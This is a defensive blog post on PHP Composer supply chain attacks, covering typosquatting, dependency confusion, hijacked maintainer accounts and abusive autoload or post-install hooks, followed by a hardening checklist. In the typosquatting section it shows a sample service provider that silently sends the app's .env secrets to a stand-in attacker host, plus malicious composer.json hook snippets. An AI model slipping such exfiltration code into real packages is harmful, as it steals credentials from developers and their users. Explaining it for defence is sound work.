PHP Supply Chain Attacks: How Malicious Packages Sneak Into composer.json

Your Laravel application probably has somewhere between 50 and 150 Composer dependencies once you count transitive packages. Each one of those packages is code you did not write, maintained by people you have never met, downloaded automatically every time you run composer install. That is a massive trust surface - and attackers know it.

PHP supply chain attacks target this trust. Rather than finding a vulnerability in your application code, an attacker compromises one of your dependencies. The malicious code arrives through your normal workflow, passes through your CI pipeline, and deploys to production without triggering a single alarm.

This post breaks down the main attack vectors, shows real-world examples, and gives you a concrete checklist for hardening your Composer dependency chain.

The Attack Surface: Why Composer Is a Target

Packagist, the default package repository for Composer, serves billions of installs per year. It hosts over 350,000 packages covering everything from HTTP clients to PDF generators to authentication libraries.

A typical Laravel application pulls in 30-50 direct dependencies. Once you resolve transitive dependencies (the packages your packages depend on), that number balloons to 100-150 or more. Run composer show | wc -l on any production Laravel app and you will likely be surprised.

This creates an enormous attack surface for several reasons:

• Scale of impact. A single compromised package can propagate to thousands of projects within hours of a new release being tagged.
• Implicit trust. Developers rarely audit the source code of their dependencies. You trust that guzzlehttp/guzzle is safe because millions of people use it.
• Automatic updates. If your composer.json uses version ranges like ^7.0, a composer update will pull the latest matching version automatically.
• Autoload execution. Unlike npm, PHP does not have install scripts by default. However, Composer's autoload mechanism means that malicious code can execute the moment a class is loaded. Combined with post-install-cmd and post-update-cmd scripts in composer.json, there are multiple execution paths available to an attacker.

The PHP ecosystem has been somewhat slower to experience supply chain attacks compared to npm and PyPI, but that gap is closing. As PHP remains one of the most deployed server-side languages (powering roughly 75% of websites with a known server-side language), it is an increasingly attractive target.

Typosquatting: The Simplest Attack

Typosquatting is the lowest-effort, highest-reward supply chain attack. The concept is simple: publish a package with a name that is one character off from a popular, legitimate package.

How It Works

1. The attacker identifies a popular package, say monolog/monolog (over 300 million installs).
2. They register a similar name on Packagist: monolog/monolог (with a Cyrillic character), monolag/monolog, or monolog/monolog2.
3. The malicious package contains the same code as the legitimate one - often copied directly - plus a payload hidden in a service provider, an autoloaded file, or a post-install script.
4. A developer makes a typo when running composer require or editing their composer.json. The malicious package installs without errors.

What Malicious Packages Typically Do

Once installed, typosquatted packages commonly:

• Exfiltrate .env files. Your database credentials, API keys, and application secrets get sent to an attacker-controlled endpoint.
• Install reverse shells. A persistent backdoor that gives the attacker remote access to your server.
• Deploy cryptominers. Your server's CPU gets used to mine cryptocurrency.
• Inject code into responses. JavaScript gets added to your HTML output to steal user credentials or redirect to phishing pages.

Here is a simplified example of what malicious autoload code might look like:

// src/Support/ServiceProvider.php
namespace MaliciousPackage\Support;

class ServiceProvider
{
    public static function register(): void
    {
        // Legitimate-looking code above...

        if (file_exists(base_path('.env'))) {
            $env = file_get_contents(base_path('.env'));
            @file_get_contents(
                'https://attacker-endpoint.com/collect?d=' . base64_encode($env)
            );
        }
    }
}

This code looks innocuous at a glance - it is in a file that seems like a normal service provider. The @ suppresses errors so it fails silently if the exfiltration endpoint is down.

Detection and Prevention

• Double-check package names before running composer require. Copy them directly from Packagist rather than typing from memory.
• Check download counts. A typosquatted package will have dramatically fewer downloads than the real one.
• Run composer audit regularly. Reported typosquats get flagged in vulnerability databases.
• Review new dependencies in pull requests. Any new entry in composer.json should be verified.

Dependency Confusion

Dependency confusion is a more targeted attack that exploits how Composer resolves packages when multiple repositories are configured.

How It Works

Many companies use private Composer repositories (like Private Packagist, Satis, or a simple path repository) for internal packages. A typical setup might have:

• An internal package called acme/billing-sdk hosted on a private Satis server
• Packagist.org configured as a fallback for public packages

The vulnerability: if an attacker publishes acme/billing-sdk on Packagist.org with a higher version number than your internal package, Composer may resolve to the public version instead of your private one.

Composer's Resolution Behavior

By default, Composer searches all configured repositories and picks the highest version that satisfies the constraint. If your private registry has acme/billing-sdk at version 2.3.1 and an attacker publishes version 99.0.0 on Packagist, Composer will choose 99.0.0.

The Fix

Explicitly configure repository priorities using the canonical option:

{
    "repositories": [
        {
            "type": "composer",
            "url": "https://packages.your-company.com",
            "canonical": true
        },
        {
            "packagist.org": false
        }
    ]
}

Setting "canonical": true tells Composer that any package found in this repository should only be loaded from this repository, even if a higher version exists elsewhere. Disabling Packagist entirely (with "packagist.org": false) is the most secure option if all your dependencies are mirrored in your private registry.

A less restrictive but still effective approach:

{
    "repositories": [
        {
            "type": "composer",
            "url": "https://packages.your-company.com",
            "canonical": true,
            "only": ["acme/*"]
        }
    ]
}

This ensures anything under the acme/ namespace can only come from your private registry.

Who Is Vulnerable

Any organisation that:

• Uses private Composer packages
• Has not set canonical: true on their private repository
• Still has Packagist enabled as a fallback

If this describes your setup, fix it today. It takes five minutes and eliminates the attack vector entirely.

Hijacked Maintainer Accounts

This is the most dangerous category because the malicious code comes from a package you already trust, published by an account that has legitimate access.

How It Happens

• Credential reuse. A maintainer uses the same password on Packagist as on a breached service.
• Compromised GitHub tokens. If the maintainer's GitHub account is compromised and the Packagist package is configured to auto-update from GitHub, pushing a malicious commit triggers a new release automatically.
• Social engineering. An attacker gains maintainer access through a fake "help maintain this package" request.

Real-World Precedents

While PHP has not yet had a catastrophic maintainer account compromise at the scale of the event-stream incident in npm (which targeted a package with 2 million weekly downloads), the risk is identical. The PyPI ecosystem saw multiple incidents in 2024 and 2025 where maintainer accounts were compromised to push malicious versions of popular packages.

In the PHP ecosystem, there have been documented cases of:

• Abandoned packages being taken over by new maintainers who injected malicious code
• GitHub repositories being compromised, leading to tainted releases on Packagist
• Maintainer credentials found in data breach dumps being used to push new versions

Prevention

• Enable 2FA on Packagist. This is the single most impactful step. It prevents credential-stuffing attacks from succeeding even if the password is compromised.
• Enable 2FA on GitHub. If your Packagist package auto-syncs from GitHub, a compromised GitHub account is equivalent to a compromised Packagist account.
• Use composer.lock religiously. Your lock file pins every dependency to an exact version and hash. Even if a new malicious version is published, composer install will not pull it unless someone runs composer update.
• Review diffs on update. When you do run composer update, review the changes. composer show --diff or reviewing the lock file diff in your pull request shows exactly what changed.

Malicious Autoload Hooks

Composer's autoload mechanism is powerful and convenient. It is also a potential execution vector for malicious code.

How Autoload Can Be Abused

When you include a package in your project, its autoload configuration gets merged into your project's vendor/autoload.php. This means:

• Any file listed in the autoload.files array gets included on every request
• Classes in autoload.classmap or autoload.psr-4 execute when first loaded
• A malicious package can register a file that runs on every single HTTP request to your application

{
    "autoload": {
        "files": ["src/malicious-bootstrap.php"]
    }
}

The files autoload is particularly dangerous because those files execute unconditionally on every request, not just when a specific class is used.

Post-Install and Post-Update Scripts

Composer supports lifecycle scripts that run automatically:

{
    "scripts": {
        "post-install-cmd": "MaliciousPackage\\Installer::run",
        "post-update-cmd": "MaliciousPackage\\Installer::run"
    }
}

These scripts execute with the same permissions as your PHP process. They can write files, make network requests, modify your codebase, or install persistent backdoors.

How to Audit

List all scripts that will run:

composer run-script --list

For safer installs, especially in CI environments:

composer install --no-scripts --no-plugins

The --no-scripts flag prevents any lifecycle scripts from executing. The --no-plugins flag prevents Composer plugins (which can also execute arbitrary code) from loading.

After installing without scripts, you can selectively run only the scripts you trust:

composer run-script post-autoload-dump

What You Can Do Today

Here is a concrete checklist for hardening your Composer dependency chain:

1. Run composer audit in CI

Add composer audit to your CI pipeline so it runs on every build. This checks your lock file against the PHP Security Advisories Database and will fail the build if known vulnerabilities are found.

# GitHub Actions example
- name: Security audit
  run: composer audit --format=plain

2. Pin Dependencies with composer.lock

Always commit composer.lock to version control. This ensures that composer install uses exact versions rather than resolving the latest version matching your constraints. Review lock file diffs in pull requests - any unexpected package changes should be investigated.

3. Monitor for Typosquats

Check that every package in your composer.json matches the canonical name on Packagist. Be wary of packages with very low download counts that share names similar to popular packages.

4. Use canonical: true for Private Registries

If you use private Composer packages, configure your repositories section to prevent dependency confusion:

{
    "repositories": [
        {
            "type": "composer",
            "url": "https://your-private-registry.com",
            "canonical": true
        }
    ]
}

5. Enable 2FA Everywhere

Enable two-factor authentication on:

• Packagist (if you maintain packages)
• GitHub (especially for accounts linked to Packagist)
• Any private package registry

6. Use StackShield for Continuous Monitoring

Running composer audit catches known vulnerabilities at build time, but new vulnerabilities are disclosed daily. Use a tool like StackShield to continuously monitor your dependency tree for newly disclosed vulnerabilities, suspicious version bumps, and changes in package ownership. You get alerted immediately rather than waiting for your next CI build.

7. Audit Your composer.json Scripts

Review the scripts section of your root composer.json and every dependency's composer.json. Understand what runs during install and update. In CI, use --no-scripts to prevent automatic script execution and run only the scripts you explicitly trust.

8. Review New Dependencies Before Installing

Before adding any new package:

• Check the package on Packagist: download count, recent releases, maintainer activity
• Review the repository on GitHub: open issues, commit history, contributor count
• Look at the package's composer.json for scripts and autoload files entries
• Search for known security issues or advisories

The Bigger Picture

Supply chain security is not a problem you solve once. It is an ongoing practice that requires vigilance at multiple levels: choosing dependencies carefully, monitoring them continuously, and having processes in place to respond when something goes wrong.

The PHP ecosystem benefits from some structural advantages over npm (no implicit install scripts, a more centralised package registry), but it is not immune. As PHP continues to power a massive portion of the web, attackers will increasingly target the supply chain as the path of least resistance.

Start with the basics: composer audit in CI, lock files committed and reviewed, 2FA enabled. Then layer on continuous monitoring and dependency review processes. Every layer you add makes a successful supply chain attack against your application significantly harder.

Your dependencies are your code's extended trust boundary. Treat them accordingly.